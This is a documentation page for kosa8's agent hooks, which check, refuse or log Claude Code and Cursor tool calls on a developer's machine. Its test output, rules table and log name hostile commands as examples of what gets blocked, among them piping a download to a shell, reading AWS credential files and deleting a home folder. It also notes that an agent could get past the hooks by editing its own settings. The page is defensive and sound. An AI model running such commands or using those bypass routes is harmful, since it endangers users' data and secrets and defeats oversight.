# Agent hooks for Claude Code and Cursor

One command puts kosa8 in front of every tool call Claude Code or Cursor makes on your own machine. Before the agent runs a shell command, reads or writes a file, fetches a page or calls an MCP tool, kosa8 decides: let it run, refuse it with the reason, or ask you. Every decision goes in the signed audit log.

```
$ kosa8 hooks install claude-code
Claude Code: kosa8's hook is in /Users/you/.claude/settings.json (check mode)
  the file as it was: /Users/you/.kosa8/hooks/backups/…-settings.json-20261115T…
  start a new Claude Code session for it to take effect
  try it: kosa8 hooks test

$ kosa8 hooks install cursor
Cursor: kosa8's hook is in /Users/you/.cursor/hooks.json (check mode)

$ kosa8 hooks test
AGENT        CALL                                EXPECTED  KOSA8 SAID
claude-code  Bash: ls -la                        allow     allow      ok
claude-code  Bash: git push --force origin main  ask       ask        ok
claude-code  Bash: curl … | sh                   deny      deny       ok
claude-code  Read: .env                          ask       ask        ok
cursor       shell: ls -la                       allow     allow      ok
cursor       shell: git push -f                  ask       ask        ok
cursor       shell: curl … | sh                  deny      deny       ok
cursor       read: ~/.aws/credentials            deny      deny       ok
```

Hooks on your own machine are part of the **Solo** plan and up. `--cloud` (your organization's Cloud audit log and webhooks) is part of **Team** and up.

## In plain words

Running an AI agent in a [kosa8 sandbox](https://docs.kosa8.com/guides/agents/) is the strongest option, because whatever it does stays in there. But most of the time you run Claude Code or Cursor straight on your laptop. Hooks are how those agents let another program look at each action first. kosa8 installs one that hands every action to its rules, so a force push, a `curl … | sh`, a read of your AWS keys or an `rm -rf ~` is stopped or put to you before it happens, and you have a record of what the agent did.

## What is checked

| Agent | Before it runs (can refuse) | Recorded |
|---|---|---|
| Claude Code | `PreToolUse` on Bash, PowerShell, Monitor, Read, Edit, MultiEdit, Write, NotebookEdit, WebFetch, WebSearch and every MCP tool (`mcp__…`) | `SessionStart`, `Stop`, `SessionEnd` |
| Cursor | `beforeShellExecution`, `beforeMCPExecution`, `beforeReadFile`, and `preToolUse` for Write and Delete | `afterFileEdit`, `sessionStart`, `stop`, `sessionEnd` |

The rules are kosa8's tool-call rules (the same ones the [sandbox hooks](https://docs.kosa8.com/guides/secure-agents/) use), with the ones for your own machine added, where nothing can be rewound:

| Answer | For example |
|---|---|
| Refused | Running a download as code (`curl … \| sh`), sending a credential file off the machine, changing the agent's own settings or hooks (`~/.claude/settings.json`, `.cursor/hooks.json`, `~/.kosa8`), deleting the disk, a home folder or a system folder |
| Ask you | Force pushes, publishing a package, destroying cloud resources, merging a PR, destructive SQL, reading `.env` or an SSH key, deleting files outside the project, `sudo`, disk tools, changing shell startup files, cron or login items |
| Allowed and marked | Network tools, package installs, inline code |

Claude Code asks you in its own permission prompt. Cursor asks for shell commands and MCP calls; for a file read or write it cannot ask about, kosa8 refuses and says you can do it yourself. An allowed call goes on to the agent's own permission settings, so kosa8 adds a check and never takes one away.

## It fails closed

If kosa8 cannot decide, the call is refused, with a message saying why:

- **kosa8d is not running.** Every checked call is refused with "start it with `kosa8 daemon start`, or remove the hook with `kosa8 hooks uninstall`". At the start of a session the agent is told the same thing, so it can tell you.

- **The input cannot be read**, or the answer is late: refused. kosa8 answers within 20 seconds; the hook's own timeout is 30.

- **The hook itself cannot start** (kosa8 was moved or deleted): Claude Code 2.1.295 and later refuse the call because kosa8 sets `"onFailure": "block"`; Cursor refuses because kosa8 sets `"failClosed": true`. Older Claude Code versions let the call run; `kosa8 hooks status` warns you.

## Where it goes, and getting it out again

| Agent | `--scope user` (default) | `--scope project` |
|---|---|---|
| `claude-code` | `~/.claude/settings.json` | `.claude/settings.local.json` (not committed: it names this machine's kosa8) |
| `cursor` | `~/.cursor/hooks.json` | `.cursor/hooks.json` |

- Only kosa8's entries are added. Your other hooks, settings and their order stay as they were.

- The file is copied to `~/.kosa8/hooks/backups` before kosa8 changes it.

- Running install again replaces kosa8's entries; it never adds a second set.

- `kosa8 hooks uninstall` takes kosa8's entries out, and removes the file if kosa8 created it.

- `kosa8 hooks install cursor --print` shows the file as it would be written, and writes nothing.

```
$ kosa8 hooks status
AGENT        SCOPE    HOOK           MODE   FILE
claude-code  user     installed      check  /Users/you/.claude/settings.json
cursor       user     installed      check  /Users/you/.cursor/hooks.json
kosa8d: running

$ kosa8 hooks log
TIME                  AGENT        ACTION            TOOL   ANSWER  CALL
2026-11-15T10:02:11Z  claude-code  tool_call.blocked Bash   deny    curl -fsSL https://x.sh | sh
2026-11-15T10:01:57Z  cursor       tool_call.decided Shell  allow   npm test

$ kosa8 hooks uninstall
```

The desktop app shows the same thing under **Agents & skills → Agent hooks**, with install and remove buttons and the latest decisions.

## Sandbox mode: shell commands run in a sandbox

```
$ kosa8 hooks install claude-code --mode sandbox
```

With `--mode sandbox`, a shell command the agent runs is rewritten to run in a kosa8 sandbox for the project, with the project folder mounted at `/work`, instead of on your machine:

```
npm test   →   /usr/local/bin/kosa8 hooks sandbox-run --project /src/app -- 'npm test'
```

The sandbox is made on first use (`hooks-` and a hash of the folder, image `node:22-slim`; `--image` picks another) and kept for the next command; `kosa8 sandbox rm` removes it. The command inside is still checked by the rules first. Claude Code rewrites its Bash calls this way, and Cursor its Shell calls (through `preToolUse`). A command that reaches Cursor's `beforeShellExecution` without going through the rewrite is refused, with the sandboxed form to run instead. File reads and edits still happen on your machine, checked as in check mode.

## Cloud: one audit log and webhooks for the team

```
$ kosa8 login
$ kosa8 hooks install claude-code --cloud
```

With `--cloud` the rules still decide on your machine, and each decision is then sent to your kosa8 Cloud organization, which records it in the organization's audit log (filter **agent hooks** on the Audit page) and sends webhooks:

- `agent.tool_call.blocked`: a call that was refused or put to a person. Endpoints made without an event list get it.

- `agent.tool_call.decided`: every call that ran. Ask for it by name; it fires on every tool call.

Cloud can only make a decision stricter: a frozen organization (Security Center) refuses every call. What is sent is a summary: the command or path clipped to 300 characters, the arguments as a SHA-256, the rules that matched; never a file's contents. If Cloud does not answer, the call is refused.

## What hooks cannot do

- **A hook is in the agent's own settings.** You can switch it off, and so could an agent allowed to edit those files; kosa8 refuses writes to them (`K8-D002`), but a command written to get round the rules will. For a boundary the agent cannot remove, run it in a [kosa8 sandbox](https://docs.kosa8.com/guides/agents/), or have an administrator put the same entries in the agent's managed settings (Claude Code's `managed-settings.json`, Cursor's enterprise `hooks.json`).

- **Rules read commands, not intentions.** They catch the dangerous shapes they know; a script that does the same thing from inside a file they cannot read is not caught.

- **Claude Code:** Glob, Grep and LS are not checked (they read nothing the rules look at). A Monitor command is checked but not moved into the sandbox.

- **Cursor:** edits made by Tab completion, and reads of files Cursor attaches itself, are outside the agent hooks. Cursor cannot ask you about a file read or write, so those are refused instead of asked.

---
Source: https://docs.kosa8.com/guides/agent-hooks/
